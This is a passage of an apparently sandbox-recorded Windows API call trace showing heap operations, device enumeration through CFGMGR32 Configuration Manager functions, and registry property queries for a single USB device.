(_Block=0x196ef0fa810) [0206.631] free (_Block=0x196ef0fac30) [0206.631] free (_Block=0x196ef0fa4b0) [0206.631] free (_Block=0x196ef0facf0) [0206.632] free (_Block=0x196ef0fa690) [0206.632] free (_Block=0x196ef0fad50) [0206.632] free (_Block=0x196ef0fa5d0) [0206.633] free (_Block=0x196ef0faa50) [0206.633] free (_Block=0x196ef0faed0) [0206.633] free (_Block=0x196ef0fa630) [0207.128] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225da0 [0207.128] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225da0, pulNumLanguages=0x67117dff0 | out: pulNumLanguages=0x67117dff0) returned 1 [0207.128] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225da0) returned 1 [0207.128] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225df0) returned 1 [0214.199] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0214.408] RtlRestoreLastWin32Error () returned 0x670dbf000 [0214.408] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de20 | out: pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de20) returned 1 [0214.408] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225db0 [0214.408] RtlRestoreLastWin32Error () returned 0x670dbf000 [0214.408] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x196ef225db0, pcchLanguagesBuffer=0x67117de20 | out: pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x196ef225db0, pcchLanguagesBuffer=0x67117de20) returned 1 [0214.408] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225c10 [0214.408] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225db0) returned 1 [0214.408] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e3d0 [0214.408] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e3d0, pulNumLanguages=0x67117df28 | out: pulNumLanguages=0x67117df28) returned 1 [0214.408] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e3d0) returned 1 [0214.413] DevObjCreateDeviceInfoList () returned 0x196ef3d9480 [0214.414] DevObjGetClassDevs () returned 0x1 [0214.418] DevObjEnumDeviceInfo () returned 0x1 [0214.418] malloc (_Size=0x58) returned 0x196ef0f7480 [0214.418] DevObjEnumDeviceInfo () returned 0x1 [0214.418] malloc (_Size=0x58) returned 0x196ef0f7240 [0214.419] DevObjEnumDeviceInfo () returned 0x1 [0214.419] malloc (_Size=0x58) returned 0x196ef0f7720 [0214.419] DevObjEnumDeviceInfo () returned 0x1 [0214.419] malloc (_Size=0x58) returned 0x196ef0f7360 [0214.419] DevObjEnumDeviceInfo () returned 0x1 [0214.419] malloc (_Size=0x58) returned 0x196ef0f6dc0 [0214.419] DevObjEnumDeviceInfo () returned 0x1 [0214.419] malloc (_Size=0x58) returned 0x196ef0f75a0 [0214.419] DevObjEnumDeviceInfo () returned 0x1 [0214.419] malloc (_Size=0x58) returned 0x196ef0f7420 [0214.420] DevObjEnumDeviceInfo () returned 0x1 [0214.420] malloc (_Size=0x58) returned 0x196ef0f79c0 [0214.420] DevObjEnumDeviceInfo () returned 0x1 [0214.420] malloc (_Size=0x58) returned 0x196ef0f7900 [0214.420] DevObjEnumDeviceInfo () returned 0x1 [0214.420] malloc (_Size=0x58) returned 0x196ef0f6e20 [0214.420] DevObjEnumDeviceInfo () returned 0x1 [0214.420] malloc (_Size=0x58) returned 0x196ef0f77e0 [0214.420] DevObjEnumDeviceInfo () returned 0x1 [0214.420] malloc (_Size=0x58) returned 0x196ef0f7840 [0214.421] DevObjEnumDeviceInfo () returned 0x1 [0214.421] malloc (_Size=0x58) returned 0x196ef0f7b40 [0214.627] DevObjEnumDeviceInfo () returned 0x1 [0214.627] malloc (_Size=0x58) returned 0x196ef0f6e80 [0214.627] DevObjEnumDeviceInfo () returned 0x1 [0214.627] malloc (_Size=0x58) returned 0x196ef0f78a0 [0214.627] DevObjEnumDeviceInfo () returned 0x1 [0214.627] malloc (_Size=0x58) returned 0x196ef0f6ee0 [0214.627] DevObjEnumDeviceInfo () returned 0x1 [0214.628] malloc (_Size=0x58) returned 0x196ef0f7960 [0214.628] DevObjEnumDeviceInfo () returned 0x1 [0214.628] malloc (_Size=0x58) returned 0x196ef0f7ba0 [0214.628] DevObjEnumDeviceInfo () returned 0x1 [0214.628] malloc (_Size=0x58) returned 0x196ef0f73c0 [0214.628] DevObjEnumDeviceInfo () returned 0x1 [0214.628] malloc (_Size=0x58) returned 0x196ef0f7c00 [0214.628] DevObjEnumDeviceInfo () returned 0x1 [0214.628] malloc (_Size=0x58) returned 0x196ef0f7a20 [0214.628] DevObjEnumDeviceInfo () returned 0x1 [0214.629] malloc (_Size=0x58) returned 0x196ef0f72a0 [0214.629] DevObjEnumDeviceInfo () returned 0x1 [0214.629] malloc (_Size=0x58) returned 0x196ef0f7300 [0214.629] DevObjEnumDeviceInfo () returned 0x1 [0214.629] malloc (_Size=0x58) returned 0x196ef0f7a80 [0214.629] DevObjEnumDeviceInfo () returned 0x1 [0214.629] malloc (_Size=0x58) returned 0x196ef0f6f40 [0214.629] DevObjEnumDeviceInfo () returned 0x1 [0214.629] malloc (_Size=0x58) returned 0x196ef0f74e0 [0214.629] DevObjEnumDeviceInfo () returned 0x1 [0214.630] malloc (_Size=0x58) returned 0x196ef0f6fa0 [0214.630] DevObjEnumDeviceInfo () returned 0x1 [0214.630] malloc (_Size=0x58) returned 0x196ef0f7ae0 [0214.630] DevObjEnumDeviceInfo () returned 0x1 [0214.630] malloc (_Size=0x58) returned 0x196ef0f7660 [0214.630] DevObjEnumDeviceInfo () returned 0x1 [0214.630] malloc (_Size=0x58) returned 0x196ef0f7540 [0214.630] DevObjEnumDeviceInfo () returned 0x1 [0214.630] malloc (_Size=0x58) returned 0x196ef0f7000 [0214.630] DevObjEnumDeviceInfo () returned 0x1 [0214.631] malloc (_Size=0x58) returned 0x196ef0f7c60 [0214.631] DevObjEnumDeviceInfo () returned 0x1 [0214.631] malloc (_Size=0x58) returned 0x196ef0f7060 [0214.631] DevObjEnumDeviceInfo () returned 0x1 [0214.631] malloc (_Size=0x58) returned 0x196ef0f7600 [0214.631] DevObjEnumDeviceInfo () returned 0x1 [0214.631] malloc (_Size=0x58) returned 0x196ef0f7cc0 [0214.631] DevObjEnumDeviceInfo () returned 0x1 [0214.631] malloc (_Size=0x58) returned 0x196ef0f76c0 [0214.631] DevObjEnumDeviceInfo () returned 0x1 [0214.632] malloc (_Size=0x58) returned 0x196ef0f7780 [0214.632] DevObjEnumDeviceInfo () returned 0x1 [0214.632] malloc (_Size=0x58) returned 0x196ef0f70c0 [0214.633] DevObjEnumDeviceInfo () returned 0x1 [0214.633] malloc (_Size=0x58) returned 0x196ef0f7120 [0214.633] DevObjEnumDeviceInfo () returned 0x1 [0214.633] malloc (_Size=0x58) returned 0x196ef0f7180 [0214.633] DevObjEnumDeviceInfo () returned 0x1 [0214.633] malloc (_Size=0x58) returned 0x196ef0f71e0 [0214.634] DevObjEnumDeviceInfo () returned 0x1 [0214.634] malloc (_Size=0x58) returned 0x196ef100f80 [0214.634] DevObjEnumDeviceInfo () returned 0x1 [0214.634] malloc (_Size=0x58) returned 0x196ef1014c0 [0214.634] DevObjEnumDeviceInfo () returned 0x1 [0214.634] malloc (_Size=0x58) returned 0x196ef100980 [0214.634] DevObjEnumDeviceInfo () returned 0x1 [0214.634] malloc (_Size=0x58) returned 0x196ef1009e0 [0214.634] DevObjEnumDeviceInfo () returned 0x1 [0214.635] malloc (_Size=0x58) returned 0x196ef1007a0 [0214.635] DevObjEnumDeviceInfo () returned 0x1 [0214.635] malloc (_Size=0x58) returned 0x196ef1011c0 [0214.635] DevObjEnumDeviceInfo () returned 0x1 [0214.635] malloc (_Size=0x58) returned 0x196ef100a40 [0214.635] DevObjEnumDeviceInfo () returned 0x1 [0214.635] malloc (_Size=0x58) returned 0x196ef100ce0 [0214.635] DevObjEnumDeviceInfo () returned 0x1 [0214.635] malloc (_Size=0x58) returned 0x196ef100fe0 [0214.635] DevObjEnumDeviceInfo () returned 0x1 [0214.636] malloc (_Size=0x58) returned 0x196ef100aa0 [0214.636] DevObjEnumDeviceInfo () returned 0x1 [0214.636] malloc (_Size=0x58) returned 0x196ef101160 [0214.636] DevObjEnumDeviceInfo () returned 0x1 [0214.636] malloc (_Size=0x58) returned 0x196ef100e60 [0214.636] DevObjEnumDeviceInfo () returned 0x1 [0214.636] malloc (_Size=0x58) returned 0x196ef101280 [0214.636] DevObjEnumDeviceInfo () returned 0x1 [0214.636] malloc (_Size=0x58) returned 0x196ef1008c0 [0214.636] DevObjEnumDeviceInfo () returned 0x1 [0214.637] malloc (_Size=0x58) returned 0x196ef101520 [0214.637] DevObjEnumDeviceInfo () returned 0x1 [0214.637] malloc (_Size=0x58) returned 0x196ef101040 [0214.637] DevObjEnumDeviceInfo () returned 0x1 [0214.637] malloc (_Size=0x58) returned 0x196ef100ec0 [0214.637] DevObjEnumDeviceInfo () returned 0x1 [0214.637] malloc (_Size=0x58) returned 0x196ef1015e0 [0214.637] DevObjEnumDeviceInfo () returned 0x1 [0214.637] malloc (_Size=0x58) returned 0x196ef100b00 [0214.637] DevObjEnumDeviceInfo () returned 0x1 [0214.638] malloc (_Size=0x58) returned 0x196ef1010a0 [0214.638] DevObjEnumDeviceInfo () returned 0x1 [0214.638] malloc (_Size=0x58) returned 0x196ef100f20 [0214.638] DevObjEnumDeviceInfo () returned 0x0 [0214.638] DevObjDestroyDeviceInfoList () returned 0x1 [0214.639] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.639] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.640] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.641] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.642] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.643] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.643] malloc (_Size=0x18) returned 0x196ef0d1d60 [0214.643] CM_Get_Device_IDA (in: dnDevInst=0x9, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_1532&PID_0102\\68284") returned 0x0 [0214.643] malloc (_Size=0x48) returned 0x196ef0fb770 [0214.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x60cb510e, dwHighDateTime=0x1d9eb0c)) [0214.644] SetEvent (hEvent=0x248) returned 1 [0214.648] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.648] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.648] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.650] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.651] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.651] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0214.651] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0214.651] malloc (_Size=0x6c) returned 0x196ef0d2120 [0214.651] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608) returned 0x0 [0214.652] free (_Block=0x196ef0d2120) [0214.652] malloc (_Size=0x48) returned 0x196ef0fb860 [0214.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x60cb510e, dwHighDateTime=0x1d9eb0c)) [0214.652] SetEvent (hEvent=0x248) returned 1 [0214.655] malloc (_Size=0x18) returned 0x196ef0d2060 [0214.655] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0214.656] free (_Block=0x196ef0d2060) [0214.656] malloc (_Size=0x18) returned 0x196ef0d1d00 [0214.656] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0214.656] free (_Block=0x196ef0d1d00) [0214.656] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856a60 [0214.656] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0214.656] SafeArrayGetLBound (in: psa=0x196ef1f2870, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0214.656] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0214.656] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0214.656] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0214.656] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0214.656] SafeArrayGetElemsize (psa=0x196ef1f2870) returned 0x8 [0214.656] SafeArrayGetElement (in: psa=0x196ef1f2870, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0214.657] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e810, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0214.657] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e818, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0214.658] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0214.658] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856a60) returned 1 [0214.659] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.659] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.662] malloc (_Size=0x18) returned 0x196ef0d1960 [0214.662] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0214.662] malloc (_Size=0x90) returned 0x196ef0d53c0 [0214.662] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d53c0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d53c0, pulLength=0x67117d608) returned 0x0 [0214.663] free (_Block=0x196ef0d53c0) [0214.663] malloc (_Size=0x48) returned 0x196ef0fbe00 [0214.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x60cdb238, dwHighDateTime=0x1d9eb0c)) [0214.663] SetEvent (hEvent=0x248) returned 1 [0214.752] malloc (_Size=0x18) returned 0x196ef0d1c00 [0214.752] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0214.752] free (_Block=0x196ef0d1c00) [0214.752] malloc (_Size=0x18) returned 0x196ef0d20c0 [0214.752] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0214.752] free (_Block=0x196ef0d20c0) [0214.753] malloc (_Size=0x18) returned 0x196ef0d1e60 [0214.753] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0214.753] free (_Block=0x196ef0d1e60) [0214.753] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855960 [0214.753] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0214.753] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0214.753] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0214.753] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0214.753] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0214.753] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0214.753] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0214.753] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0214.754] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e850, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0214.754] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e858, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0214.754] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e860, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0214.755] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0214.755] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855960) returned 1 [0214.756] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.756] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.759] malloc (_Size=0x18) returned 0x196ef0d20e0 [0214.759] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0214.772] malloc (_Size=0x48) returned 0x196ef0fbd60 [0214.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x60df104f, dwHighDateTime=0x1d9eb0c)) [0214.772] SetEvent (hEvent=0x248) returned 1 [0214.775] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.775] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", 